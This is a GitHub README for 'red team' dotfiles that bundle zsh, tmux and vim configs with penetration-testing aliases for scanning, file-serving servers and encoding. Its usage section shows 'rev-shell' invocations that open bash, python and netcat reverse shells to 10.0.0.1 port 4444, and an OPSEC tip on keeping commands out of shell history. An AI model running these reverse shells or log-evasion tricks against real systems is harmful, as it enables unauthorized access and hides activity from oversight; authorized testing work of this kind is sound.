Thanks to visit codestin.com
Credit goes to github.com

Skip to content

This repository contains a set of dotfiles for zsh, tmux, and vim, tailored for red team operations. These configurations provide a powerful and efficient command-line environment with aliases, functions, and tools commonly used in penetration testing and red teaming.

Maleick/dotfiles

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

78 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Red Team Dotfiles

Version

Clean and focused dotfiles for zsh, tmux, and vim tailored for red team operations and penetration testing. No over-engineering, just the essentials.

✨ Features

  • 🔴 Red Team Focused: Aliases and functions for penetration testing
  • 🎯 Warp Terminal Optimized: Enhanced for modern terminal experience
  • 🌐 Network Tools: IPv4/IPv6 IP detection with service redundancy
  • 🛡️ OPSEC Aware: Commands starting with space aren't logged
  • Fast & Clean: Minimal overhead, maximum functionality
  • 🔧 Cross-Platform: Works on macOS, Linux, and WSL2

🚀 Installation

Prerequisites

  • Zsh - Shell
  • Tmux - Terminal multiplexer
  • Vim - Text editor

Quick Install

# Clone the repository
git clone https://github.com/Maleick/dotfiles.git /opt/dotfiles
cd /opt/dotfiles

# Run the install script
./install.sh

What it does

  1. Creates backup of existing dotfiles
  2. Symlinks zsh, tmux, and vim configurations
  3. Sets up red team aliases and functions

Verify Installation

# Restart your shell or run
source ~/.zshrc

# Check available commands
/help

💻 Usage Examples

Network Reconnaissance

# External IP Detection (IPv4/IPv6) 
myip                       # External IPv4 address (force IPv4)
myip4                      # Explicit IPv4 version
myip6                      # External IPv6 address
myip-alt                   # Alternative service (ipinfo.io)
myip-check                 # Backup service (icanhazip.com)
get_external_ip            # Store IP in $EXTERNAL_IP variable
localip                    # Local IP address
netinfo                    # Complete network information

# Port Scanning
quickscan 192.168.1.0/24   # Fast subnet scan
nmap-top-ports 192.168.1.1 # Scan top 1000 ports

Web Servers & Tools

webserver                  # HTTP server on port 8080
smbserver                  # SMB share current directory
https-server               # HTTPS server (needs cert.pem/key.pem)

Encoding/Decoding

base64encode "test data"   # dGVzdCBkYXRh
base64decode "dGVzdCBkYXRh" # test data
urlencode "hello world"    # hello%2Bworld
rot13                      # ROT13 cipher

Reverse Shells

rev-shell bash 10.0.0.1 4444    # Bash reverse shell
rev-shell python 10.0.0.1 4444  # Python reverse shell
rev-shell nc 10.0.0.1 4444      # Netcat reverse shell

Tmux Features

tmux                       # Start tmux session
# Prefix + P              # Start/stop recording
# Prefix + S              # Save pane history

🔒 OPSEC Notes

  • Commands starting with space aren't logged - Use command for sensitive operations
  • Use only on authorized systems - Respect applicable laws and regulations
  • Backup created automatically - Install script backs up existing configs

🔄 Updates

# Update to latest version
cd /opt/dotfiles
git pull

# Check current version
cat VERSION

📝 Available Commands

# See all available red team commands
/help

Note: This project is for educational and authorized security testing only. Use responsibly and respect all applicable laws.

🔴 Happy Red Teaming! 🔴

About

This repository contains a set of dotfiles for zsh, tmux, and vim, tailored for red team operations. These configurations provide a powerful and efficient command-line environment with aliases, functions, and tools commonly used in penetration testing and red teaming.

Topics

Resources

Stars

Watchers

Forks